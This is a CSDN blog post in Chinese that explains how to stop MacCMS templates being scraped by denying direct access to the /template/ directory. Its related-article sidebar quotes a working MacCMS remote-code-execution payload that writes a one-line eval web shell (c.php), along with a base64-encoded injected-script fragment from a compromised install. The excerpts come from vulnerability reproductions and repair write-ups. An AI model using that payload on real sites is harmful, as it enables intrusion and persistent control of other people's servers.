苹果cms模板保护设置，防止被扒

于 2024-03-09 15:03:44 发布
阅读量614 收藏 5
点赞数 12
文章标签： 苹果cms模板保护
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/u012241616/article/details/136583762
版权

苹果cms模板保护设置，防止被扒

如今互联网时代，网站模板前端被扒是常有的事，如何防止模板数据被扒？

保护设置方法：
登录宝塔 找到安装模板的网站 设置禁止访问文件 方法参考截图后缀填：php|html
目录填：/template/

没有宝塔或不能设置的用户通过设置伪静态禁止直接访问template目录一样可以

为什么要设置？ 苹果cms漏洞，正常程序是没办法直接访问template目录的，但苹果cms却可以直接访问因此带来的是严重安全隐患

在这里插入图片描述

云博客-资源宝
关注
  • 12
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
【漏洞复现】maccms苹果cms 命令执行漏洞
失心少年
11-16 1951
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。“苹果CMS” 似乎是指 “Maccms”，这是一款开源的内容管理系统，主要用于搭建视频网站。Maccms 提供了一套完整的解决方案，包括用户管理、视频上传、分类管理、数据统计等功能，使用户能够方便地创建和管理自己的视频网站。
苹果cms10的一次尝试发现了苹果cms10被挂马极有可能是苹果cms作者故意的js漏洞或后门导致
jun2016425的博客
10-30 9333
最近闲无事想建个站来玩玩，但是又不想写于是乎就找了搜索了一下，苹果cms就出现在搜索引擎上面了，看来苹果cms的SEO做的还是不错的. 被挂马表现: 播放视频时,有一定的概率会加载 http://union.maccms.com/html/top10.js 苹果cms后台某处或者采集的资源打印奇怪的字符比如 {if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuan.
苹果MAC-CMS漏洞复现(SQL注入+命令执行漏洞写shell)
信安小菜鸡的博客
05-19 3138
前台修改密码处存在sql注入漏洞 注册账户登录后发送POST 查看数据库 查看用户 不过后续操作一直被拦截，暂未找到过滤方法 命令执行漏洞 直接获取php info信息 写shell 弱口令 admin/admin/123456 ...
网站漏洞修补之苹果cms建站系统
网站漏洞修复专家
04-22 1105
苹果cms系统，是目前很多电影网站都在使用的一套网站系统，开源，免费，扩展性较好，支持一键采集，伪静态化，高并发的同时承载，获得的很多站长的喜欢，于近日被网站安全检测发现，maccms存在网站漏洞，sql注入盲射获取数据库的管理员账号密码，关于该漏洞的详情，我们仔细分析看下. maccms漏洞分析与修复 苹果CMS采用的是php语言开发的代码，使用的数据库是mysql类型，这种架构是比较常用的...
cms是什么意思啊_哪里有苹果cms安全干净模板？
weixin_39788969的博客
11-23 200
1，简洁干净的自适应苹果cms v10网站模板_苹果cms模板苹果cms安全干净模板下载地址：https://www.mytheme.cn/maccms/59.html苹果cms安全干净模板一款酷黑模板 整个布局以黑色为主 用户在下滑或是上调页面时具有颜色由深变浅或浅变深的颜色渐变功能！完美自适应所有市面上的电子视频设备。还有触动封面直接播放视频内容的独特设计 为你的广告收益大大提供了更直接的功能...
苹果CMS漏洞
热门推荐
Grey的博客
07-11 1万+
1.环境搭建： 最新版本好像修复了这个漏洞 后来看大佬们分析是加了360safe、把他注释掉就可以复现了 审计过程：   首先在maccms8_mfb\inc\module\vod.php文件中的第93-98行的代码当$method=search成立的时候便回进入到be(“all”, “wd”)获取请求中wd参数的值，并使用chkSql($wd)方法对$wd进行安全处理。 ...
苹果CMS网站awd复现
qq_48511129的博客
01-16 4272
D盾扫描无结果 漏洞一:自带大马后门 使用方法 漏洞二：前台rce 进行rce wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A} 进行攻击，该payload是直接生成一个c.php一句话木马文件，连接密码为c。 参考 https://blog.csdn.net/m0_37438418/artic
苹果CMS仿bibiAPP模板仿bilibili影视网站模板
06-05
苹果CMS是一款广泛应用于搭建视频网站的开源内容管理系统，它的特点是功能强大、操作简便，并且有丰富的第三方模板资源供用户选择。本次我们关注的是一个仿照知名视频分享平台B站（bilibili）的APP模板，名为“苹果...
苹果cms模板，大橙子3.1.5
05-20
8. **后台管理**：苹果CMS的后台管理系统通常直观易用，允许管理员轻松管理内容、用户、设置等，大橙子模板在此基础上可能有更友好的界面和操作流程。 9. **安全防护**：考虑到网站安全，模板可能包含防止SQL注入、...
苹果CMSv10自适应高权重模板源码
01-24
苹果CMSv10自适应视频站高权重模板，图文丰富提升百度SEO，安装好苹果cms程序后，上传压缩包至网站根目录即可。 使用安装： 1.解压压缩包得到statics和template目录一并上传至网站根目录 2.后台选择模板stui_tpl...
苹果CMS10模板，mxone模板
09-29
1. **安装与配置**：下载模板文件后，按照苹果CMS10的官方文档进行安装和启用，同时需要配置相应的主题设置以达到最佳效果。 2. **自定义**：根据网站的需求，可能需要对模板进行一些自定义修改，如修改CSS样式、...
苹果cms付费视频模板源码
03-16
- 在完成模板替换后，管理员需登录苹果CMS后台，找到“系统设置”或“主题管理”等相关选项，进行主题的切换，使新模板生效。 4. **付费视频功能**： - 这个模板的核心功能是实现视频内容的付费观看。这意味着它...
苹果cms网站临时关闭维护设置教程
苹果cms10好看的模板
11-26 6555
1，我们在网站建设过程或是临时维护中，由于网站还在修改调试状态不能直接让访客（客户）看到网站前台内容，我们只能友好的显示网站临时关闭的提示信息给访客（如下图）。一个这样的页面可以很轻松的通过在苹果cms的后台简单几步设置来实现。 2， 操作流程：系统-> 网站参数配置 -> 基本设置 -> 站点状态关闭 ->关闭提示(填站点维护完成时间)。 声明：除特殊声明外本站文档...
2020php木马文件,2020解决苹果cms被反复数据库插入木马代码
weixin_42501711的博客
03-11 441
2020年刚开始，苹果CMS被爆出数据库代码执行漏洞，大量的电影网站被挂马，尤其电影的页面被篡改植入了恶意代码，数据库中的VOD表里的d_name被全部修改，导致网站打开后直接跳转到S站或者弹窗广告，目前该maccms漏洞受影响的苹果系统版本是V8,V10，很多客户网站被反复篡改，很无奈，通过朋友介绍找到我们SINE安全寻求技术上支持，防止网站被挂马。根据客户的反应，服务器采用的是linux ce...
苹果cms（maccms） player播放器解密
qq_33911195的博客
08-21 6336
我想大伙儿近来假如用到苹果CMS（maccms） ，无论是V8还是V10版本号 ，都碰到了一定的程度的后门源代码 。 其相关文件也就是 /static/js /player.js文件，每当播放页播放视频的时候 ，有一定的几率会加载 //union.maccms.com/html/top10.js中的js广告代码 。 该player.js文件是加密源代码 ，必须要先解密该文件，之后再次把加载广告的JS源代码删去后，重新上传就可以防止这个播放器JS相关文件挂马留后门的情况 。 假如想自己修改删去源代码的朋友们
对苹果maccms网站漏洞进行修复解决过程
网站安全专家
01-07 1545
目前苹果CMS官方在不断的升级补丁，官方最新的漏洞补丁对于目前爆发的新漏洞没有任何效果。更新补丁的用户网站还是会遭受到挂马的攻击，很多客户因此找到我们SINE安全寻求网站安全技术上的支持，针对该漏洞我们有着独特的安全解决方案以及防止挂马攻击的防护，包括一些未公开的maccms POC漏洞都有修复补丁。 目前maccms官方被百度网址安全中心提醒您：该站点可能受到黑客攻击，部分页面已被非法篡改...
基于Android备忘录和MP3播放器设计与实现.docx
最新发布
08-10
基于Android备忘录和MP3播放器设计与实现.docx
苹果cms模板干扰吗
07-27
苹果CMS的模板丰富，网络上有海量的免费模板可以使用，无需编程基础即可极速搭建网站。\[1\]因此，苹果CMS的模板并不会干扰网站的正常运行。相反，它们提供了丰富的选择，可以帮助用户快速搭建个性化的网站。苹果CMS...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

云博客-资源宝

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值